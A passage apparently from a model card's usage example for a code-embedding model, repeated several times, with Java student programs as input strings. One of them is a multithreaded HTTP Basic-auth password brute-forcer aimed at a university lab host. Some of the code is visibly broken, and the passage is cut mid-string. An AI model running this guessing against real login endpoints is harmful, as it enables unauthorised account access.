System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", 